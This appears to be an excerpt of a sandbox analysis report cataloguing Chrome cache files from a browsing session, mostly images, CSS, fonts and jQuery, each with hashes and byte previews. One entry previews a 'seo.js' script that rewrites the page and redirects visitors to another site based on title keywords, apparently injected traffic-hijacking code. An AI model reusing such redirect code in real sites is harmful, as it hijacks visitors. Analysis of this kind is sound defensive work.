xmlns:rdf="ht

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6102
Entropy (8bit):	7.8656411084818725
Encrypted:	false
SSDEEP:	96:b7YoyEHP0ApWahXfzqcR3kk6LrsKRROUtLsPAgDVrRVr56aesR2LO:bncAXfz9j6d9t4YCVrRVv2C
MD5:	299AF01210F8AC1E222A1306745C1880
SHA1:	DF86A28BD4A13EECEAAA3763254406856511AFD9
SHA-256:	D4D59931406D640F32729D3BFFA77C3308BA961EA0406E018A3A021EC27245AE
SHA-512:	DA8335F0D5049F80B577D66FC87E5D4B9D66DA72BC7F403A0FC9E05AB5288787C82B1121434FC84860E6B9C0C4C6D8CB206B27338BC0B8BFC75183CFB6CDAEE2
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/p5.png
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:5E33EBCECA0E11EDB128AA3A11726293" xmpMM:InstanceID="xmp.iid:5E33EBCDCA0E11EDB128AA3A11726293" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.s]....FIDATx....N..._..L....."..t.P.(..t.J.3nE.RG.T..+.N'..$......".\:...9k=.{...g.33..g..g=............{O

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32056)
Category:	dropped
Size (bytes):	93507
Entropy (8bit):	5.308880962621554
Encrypted:	false
SSDEEP:	1536:p4TCgi8RzmZFX38J+L0kJQsYb+5k/QRZdC/RtfDwnv+p0WzH/IoSE7qAe3GZnuUI:p4AkTtU2p0WPSIooLstfam
MD5:	BCEF53B768102FD4CE28924209E010B8
SHA1:	6F8831F4A3CD4006B0F245D20005D3AF8C0BB9CD
SHA-256:	9F5C9D0391535A6FEA6ADA5E2D8367ED46282670EF8096E5F561F2C24B33D29B
SHA-512:	D4A4389A081D4DE1A25538774973E6DE2341EE1288D27490DA6335F388E3B9AA876CA11DB36DC8F8A4978D228657FD22BD9DE5E45276026EE5EAFEDC9BE8A41B
Malicious:	false
Reputation:	low
Preview:	(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.1",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:\s(<[\w\W]+>)[^>]\|#([\w-]))$/,k=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,E=/^[\],:{}\s]$/,S=/(?:^\|:\|,)(?:\s\[)+/g,A=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener\|\|"load"===e.type\|\|"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e)return this;if(

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1092
Entropy (8bit):	4.985282727165163
Encrypted:	false
SSDEEP:	24:14XvEKFgqLTovusGGEFE7ohwTJ8dZcXQeMrWyueUjtD1uw2c:pK/LTMmrF0f9XjpUwP
MD5:	E86DC4C82DC215FA4BE58F32AAD23570
SHA1:	04FD54436819B196E1FDC2CE285821C46908CA04
SHA-256:	4CC26722EF4AC73A83464B334D887C4DBF9E18CD20997F820A41BE7679C74748
SHA-512:	3C5403E5F76880A6E24B53E26A01544B6FD5C2FC7E34B2E16274B8E367E74DF37C3472B9FC1F29671FDC3465FCE7A5BF456E6273ADC8DD1B4A6A29FA8D3D91E8
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/index.css
Preview:	/* ::::: /css/style.css ::::: /.... { margin: 0px; padding: 0px; }..a { color: rgb(0, 0, 0); text-decoration: none; }...clear { clear: both; }...container { margin: auto; width: 1100px; }...top { text-align: center; }...top img { margin-top: 8px; margin-left: -3px; }...con { background: rgba(0, 0, 0, 0) url('') no-repeat scroll center top; width: 100%; }...game { width: 980px; margin: 10px auto auto; }...game .box { border: 3px solid rgb(232, 191, 18); width: 314px; float: left; margin-bottom: 9px; }...game .abb { margin-left: 9px; }...game .box .yellow { height: 54px; background: rgba(0, 0, 0, 0) url('') repeat-x scroll left top; width: 314px; }...game .box .yellow img { position: relative; top: 15px; left: 8px; }...game .box .yellow a { background: rgba(0, 0, 0, 0) url('img/game_btn.png') no-repeat scroll center top; height: 45px; width: 126px; float: right; padding-right: 10px; margin-top: 7px; display: block; }...game .box .yellow a:hover { background: rgba(0, 0, 0, 0) url('img/g

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	22393
Entropy (8bit):	7.955911565693486
Encrypted:	false
SSDEEP:	384:tdUekvpG6KNWhvhoHtiN9d/RfOgWDc26qTHST9nhOyz7mbG321156Y:tdUekLUmv68Z/R/WGwyxnhVuW2D56Y
MD5:	4C1F20EA93DDB93240F220D82A7B9768
SHA1:	28E692D13352730D44D8E92A25F5A564C76863E8
SHA-256:	53E026AD476270D81D193829DA22341F3038CC6CB501674EA63EBA0E5DD8C874
SHA-512:	FE8D5B6679964DA62A6189213C025357EF7D5FC10E485147DC8E9F37CAF93CB43EA8D044256F1DD19BFFFE60E8DC4F101A10E171086D758932BBD9EE646B2713
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/fuwu2.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E6C9B3CCC2E211ED8997C447A3920789" xmpMM:InstanceID="xmp.iid:E6C9B3CBC2E211ED8997C447A3920789" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A1E96EB1BA8611ED9E18B1F319AD2715" stRef:documentID="xmp.did:A1E96EB2BA8611ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13803
Entropy (8bit):	7.963598339529239
Encrypted:	false
SSDEEP:	384:286pPuqcVETAidAOs7AvxgGAmIr05NzzN/5L:CPxBAIs7Yeg5fxL
MD5:	0808A525D216F85706B063609AEF611E
SHA1:	0D24CD99A3E083C2C00EF550505E4E8C22813C88
SHA-256:	EFB6848B4EF1760D0034D163DC2BC2C6E3F9631BFF316816BBE985990E9B17B6
SHA-512:	A23178D17C988599936424BCF155D4D48265D6E2778F58E9E8976AB6FC97B998BDB203607284363E320606CC523FCF429182014A23D580A27CFB36A42D12B44B
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685440861_xcgiSSbO.png
Preview:	.PNG........IHDR...x...x.....9d6.....tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:ED2F3545C21011EDA9AABE74779D8143" xmpMM:DocumentID="xmp.did:090234F4FED311ED8D41EDDF476EC1B0" xmpMM:InstanceID="xmp.iid:090234F3FED311ED8D41EDDF476EC1B0" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:752394d4-9b8e-644f-b99b-3f93ac4591b4" stRef:documentID="xmp.did:ED2F3545C21011EDA9AABE74779D8143"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>b..p..2.IDATx..}k.]..\k....}..o^6..l.$A.<.

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (384), with CRLF line terminators
Category:	downloaded
Size (bytes):	4253
Entropy (8bit):	5.619072720693586
Encrypted:	false
SSDEEP:	96:qPEbjErE6REzEwNEcJaEZLWECEVEWxEvDEPIE1EmEfMV4lmrLtc4GAV:qwsaXvIk47YV
MD5:	723F2E2D555D638ED15F389CBCFD22AF
SHA1:	B5BB8FFA9EDA26449939B4CE7E0F00C4D7395580
SHA-256:	DB3982804886A75E9EF7890CE07B21014159ADB6435189C893DA0F50AF1B1581
SHA-512:	8D562C87D2457188C86380E78A27B868837980173E8391B08D45C23A1988C3CD18C85F1E6C77CC3CBFB6DBD2017D1A98D3C4D87F593D3FBF8A75CD7A1B71DB4E
Malicious:	false
Reputation:	low
URL:	https://www.uapp360.com/2023/seo.js
Preview:	.document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0}</style>');....function checktitle()..{...var fit=1;...var sou;...var title = document.title;.. if(title.indexOf("..")!=-1\|\|title.indexOf("js")!=-1\|\|title.indexOf("..")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf("pj")!=-1\|\|title.indexOf(".")!=-1\|\|title.indexOf(".")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf("..")!=-1\|\|title.indexOf("yh")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf("..")!=-1\|\|title.indexOf("yl")!=-1)...{....sou="https://www.zhspay.com/zhuye/index.html";...}else if(title.indexOf(

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 162, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	80459
Entropy (8bit):	7.989379451204456
Encrypted:	false
SSDEEP:	1536:a+r3nhkeT8T5qycGg6VBOZt9NKOABpLwXgcHW16ALinZDesQ1HrA8M+:3XhkQi5q964tgpLvc2EAL8ZCp1UK
MD5:	0CD9F5975988B0B00E55BF2F1A524F11
SHA1:	830F4368142A1BD67553CC37496F2DB5288F2822
SHA-256:	780241ACD2EF4F86020850B2065E3FDECF59D3FA64A8B7F54FDADDC3F31F8FDD
SHA-512:	4101CB4F7B04B8475C534CB0BFFBDC81A3E4F8D9F344FC5350B9F166490B8F2F5F8FBA5A1110089B7CAE9DA460DA5D3CB7D8D81C66A7687A26D3DB1B65D59BD1
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/logo.png
Preview:	.PNG........IHDR...X...............tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:1E0142EFCEE611ED9515F82CBEDE9FA7" xmpMM:InstanceID="xmp.iid:1E0142EECEE611ED9515F82CBEDE9FA7" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5CCB7E50C14711ED929B8374F69F0E98" stRef:documentID="xmp.did:5CCB7E51C14711ED929B8374F69F0E98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......6.IDATx..}..$E..Uu.<.......t.. "....O.....3!. "..HP.#......?.......r....:..........;.w.....P]....z.r...

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	33363
Entropy (8bit):	7.975498304514047
Encrypted:	false
SSDEEP:	768:9QzU+r8Ic9L1o9H+dAHM6Bd3zpsAIVxCfPyGhXJkZ39:eg+rviLzdAHdv3d3IVkf6eM9
MD5:	B84792BF01492566F1B8A8E56FC12102
SHA1:	22E4F4845449FDA6FF58E889199AACF7562B554E
SHA-256:	6C92F1AF5698C427CFFB9C15960B9DC6055CC170A4247952312F7574BA16C300
SHA-512:	7334F7AA37CD28AF223D7089B20EDB2F0C6919746C1F20D2084A87BDD9AB6F3FB547B2E12A18E61E9AA530002D61F51B2F2AC76994F6AAE2BE358F413066A69F
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/about2.jpg
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:5F8B0B3BC2DC11ED9AD091A99EF5DD75" xmpMM:DocumentID="xmp.did:5F8B0B3CC2DC11ED9AD091A99EF5DD75"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5F8B0B39C2DC11ED9AD091A99EF5DD75" stRef:documentID="xmp.did:5F8B0B3AC2DC11ED9AD091A99EF5DD75"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (554), with CRLF line terminators
Category:	dropped
Size (bytes):	718
Entropy (8bit):	5.417085652939942
Encrypted:	false
SSDEEP:	12:i0ztFnrX/rJT1jxUeZZWypvrDRWxdmpByIPt6CWt35bVN6fTClVFhDf59zf54F39:J5FbNTIeZocvrDRWxdYBtt6Cg5CfoZ96
MD5:	7508AA9626CA42F55395E1C730CA2A42
SHA1:	5844F42D5773EBE2818C487F59364D5BFC6ADD82
SHA-256:	6D04D2E22711AB44CFC76138B4D5F02521D57FF0E7A2A41EB4FE31698E990990
SHA-512:	FB7CF95FB33C46B581DB09A1B991B10FC56C4D8C6CC5F6A20408A923AC927930D63FC65B8692A7691FAE478AE7371AA32AEFA4A379F19311E40F2ACF4C313A9A
Malicious:	false
Reputation:	low
Preview:	document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"JeAfDFy7gXnU2Q0U\",ck:\"JeAfDFy7gXnU2Q0U\"});</script>")....document.write('<div style="display:none"><script src="https://js.users.51.la/20655415.js" language="JavaScript" type="text\/javascript"><\/sc'+'ript></div>');

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 2599
Category:	downloaded
Size (bytes):	1120
Entropy (8bit):	7.81429231055546
Encrypted:	false
SSDEEP:	24:X5QkaSYr3d2SEIZg7JHlVS9zDw5tUmW3YUPk9/j4yN:XkSY7dbVaJH2DKtUZyUyN
MD5:	7780363AC49B75A1274E22E68409FA17
SHA1:	4454F2F672A809404E9480AABEB3BC38FA5E0712
SHA-256:	6D55AB61CD9F39893F852879ADE34FB7A562034B416DE36DE0D6B232FC22388C
SHA-512:	E8728E541E321A4647027C531D2D68A4336352842EAEC4FD1EF074F92E7E5E7A30A23FBF187FEB081ACADB4F7E8339DBC0D3687DA903D1D85364EEFD8D81DEAD
Malicious:	false
Reputation:	low
URL:	http://hbyczyz.com/xrr
Preview:	...........VA..D..G..0xE....4IY9v`....`......c{..53..d.......P[.p@.P....V.g6.......SvU.NH$.....o..^.......7P.......b.{.a.. 8..2.4S.=,.{w..v......S..}.3"..^..@Q.Z.C$...CJ.d....U!4.\|.1Q.....(..U..._..%.I2..z......../.g....>.sz.....?\|.y...........}.....k....R..1...SE...hLB.=..t. .B..,l..Ag..q.........yF.T.XV.O..dj.\|l,.@j...P.@Y....wg ).....uxe........z._+&....2B.#..\|...,.VA{.j.l..N....."m..$..q...s...gT...@.."<...{..\q.o..].zp.l.=l..>.'.-.q............=<__LFQ....t$........p.....'....s&e..2....$1..I.... _Y.8."..ApFK...!eqm.24.\).j....{u....~.(0...Tf).8.Oy.{1..z.:G:!....8..^.v>.!......<.!Z'..^....\Zv..i.....S......A.,..4....s.k...e.P;..^-P%...U....I...W..;..#..dW...0j.z...lw.\|!G..V.I...B.2.!G.T_............l...}.:.l..`..EU.5@..wu...@.J.]k.j..VT..d?C..y...MP6...).O.fi.l....... .P.`X.8.s..fV-......f..}.2..j..{.j.r.l...E!&..Z..."h.tj..T.#(dJK...1UV...'.Cm.?%.Q.CRI.....\|.`....1....n.Zs...u.b.*......o.1i....,...a....!1)..R.I..i...Y{..Q.u~......tG....e ...[.].

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	20675
Entropy (8bit):	7.96939894929156
Encrypted:	false
SSDEEP:	384:G5w+1jf12Trx8HoAKsFq0gWJ6tOr9MqLKUliLE4dFbzUuvdb58:G5wKjfIrGI1sFqBWstOrrL/li9zR1V8
MD5:	A85EA5D3A7C1557CA3B7B0C133A30A13
SHA1:	7148317F6AB8B66A832EFD800F76607DB307AFE2
SHA-256:	B6E2ADF9FA6442EB029B7EF4AE304D9AEA04B72C48289482AB9352499BCE310D
SHA-512:	0A25B7C000F566499A770135088BAEEF138F3D7462F2F25A0B3DAFDF17A22D2401D99299AFC78C8BEBB70851F0A0E70170E23344F688B0225220330325A1C06E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............E-....tEXtSoftware.Adobe ImageReadyq.e<...viTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:996b5850-5c06-664d-9410-55a1418990a5" xmpMM:DocumentID="xmp.did:1F7235DCFF6511ED9770B58561B74C93" xmpMM:InstanceID="xmp.iid:1F7235DBFF6511ED9770B58561B74C93" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:996b5850-5c06-664d-9410-55a1418990a5" stRef:documentID="xmp.did:996b5850-5c06-664d-9410-55a1418990a5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.v...L.IDATx......u..`......^.e.H

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 300
Category:	dropped
Size (bytes):	138124
Entropy (8bit):	7.908770322459711
Encrypted:	false
SSDEEP:	3072:JPSoQzDO90I0F1VhJl/rJVbAVNC2u4HVIdaIEscCOy3DFpXdOp5kK:JPSHXDI0FhrrJVcVA2u4HVILEyzTXdPK
MD5:	B15223FBEF3AD6231C8A2065B14321BF
SHA1:	32B15B10B21A7A2C10A3720529299B0E77F574B8
SHA-256:	60571F689A768060AE99D093560967D034611FC4EC7A87A0EE270A3A9B1B23FA
SHA-512:	B0C323885831C1EE9294CCC4FEF70DDA96F52228A7C31251D1FCB3CD507695C4DA9FC1CB9397718A40CF4F5ADA5465CA1CCA360F89D32C6AB8CAE1E4FD0431A5
Malicious:	false
Reputation:	low
Preview:	GIF89a..,..\.........f.....)...c`S.]....TJ30-(`.............q......dT.)...K.I...c...lO.-...&...v,+D.#........xg...pJ..@..K..q...W.s.).o..HW.D..T....H.H'.,.*2.j+....T0.s5..G....YB....^..zs.NC.......7+..W..ZF1........m... .+......w}`t....o........H....3..8-... ............................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9babfeda-658f-724b-aa8b-9eef42f85806" xmpMM:DocumentID="xmp.did:D319CC0B537511E9A63BA117CDFD7022" xmpMM:InstanceID="xmp.iid:D319

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18540, version 1.0
Category:	downloaded
Size (bytes):	18540
Entropy (8bit):	7.988621354518769
Encrypted:	false
SSDEEP:	384:iCNJ64d6NpPAkoQny0O/pr/0TWpghIfCGCf9tCw4k33FeICVUFp4Tz:iCyHNdAHQnPMV0ipguxCVwwDCiFp4X
MD5:	1B2BA9C688B5CFD54B4367673F83AE9E
SHA1:	CC868695F7EDA94CB64AA1F578742B83B4A569B3
SHA-256:	96643BFAD5A17EADA947D707441559202C83A2CC9ACB28AA860B7D64E3E55747
SHA-512:	2F2280A0FDEEC22311642C79133ECE91F651EB3C31E32F3A4BFD823709C9C8AEBDD6CE6FA2670CDC638DE52523583F958735B7F9C22BE4883B40F7EEE9CABE6D
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOkCnqEu92Fr1MmgVxIIzI.woff2
Preview:	wOF2......Hl.......`..H..............................Z..\|.`..J.H..<........w..Z...x.6.$..0. ..x. ..c.3..d........../`........:2.l..xv.....$H......q......&2Ha}..V.5]gW...V..PO2...X.v+...(3...D.I...V..w.C.'.....\|...U.U.ob<D.....^.=....[.Ip.mew........n..bh..t.?...V./..)...].=a..K..`.Gt.o....Q......g`.....y~n..{{oo......,.aD...#'H}.o.Fbc\|%..Q.F.....c..'.iK......j.E.B.M..x......'&.76..;N...c...S...;...D....l..-.e+...\|...y...W}.bv.x.Z........W.DF..R..l....I.........O.wf.<.....<...Z..lc-...MWpH$..Yb)...j..wa...S.../......+?.v.V....d.8:...6 .A.~..Z4....)...KG.......n.%!..&...@h.iN7....5.Ol....9.~..+.l.<..m...D@.......S.Z/....P......k.3..\|...y&) O...G.}U@..>.&,...Z......N3.rc'^...<...J..UN.;............Rq..."..#....c..]'.^J.9...Z.;{z...&u!.mg..o.l2.>...*...I.O.4...+U...+..(...SM....!X....n..R..........=R...C.......S.U...Me..T.;_rK..:h@..]...t.....&..]...c...I.B.0...!$6.......h..>...V....qs.. !...u....2....\|lc.........D.$a..C.......0..B ..

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 740 x 610, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	210051
Entropy (8bit):	7.9967115049182125
Encrypted:	true
SSDEEP:	3072:Twuqo5hy2mLECWnZqE2tnNiZwTtpaH7ezfnn74qbfk7gTzCSwh/a4UWUcuFHMpql:Tvqoe2NCltNIH7k74yZikSUcuHMwCY
MD5:	66E4D20080577528212A7D7E108ABCAB
SHA1:	361F42364ACF0100EA5DE12B4DF96E93273633B0
SHA-256:	7522AB127376E277F107BC4B6B9DC2CC8F96A2B2F60BFDC241CA8DC084C3AEDE
SHA-512:	4244967901B75436AF31E489FB6B839D7215F8D4C7985E82404A30D9E68E96332B08D9C353E9256EF8FFFEFFA907C42AA181216EC07011A6878ABF2DDBCAF4BF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......b......M.....tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:c37e8904-fc6d-a34d-add6-8d0acfd82fdf" xmpMM:DocumentID="xmp.did:A62131210A9411EE86CC862327044C04" xmpMM:InstanceID="xmp.iid:A62131200A9411EE86CC862327044C04" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F7C16529FF6411EDB665E6FBBF8FF9FB" stRef:documentID="xmp.did:F7C1652AFF6411EDB665E6FBBF8FF9FB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`..]..0.IDATx....deu6~.{k..g.{......aWQ..A

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 63 x 63, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1893
Entropy (8bit):	7.3100830456630215
Encrypted:	false
SSDEEP:	48:jAvnLie/LFr8J3x+bg+ZWOpwtVycMMVG1w2adE7c:cme/RrW+kwWOKyvMVG1w2adE7c
MD5:	38F59D5B511FB9ED384061E1E50C764E
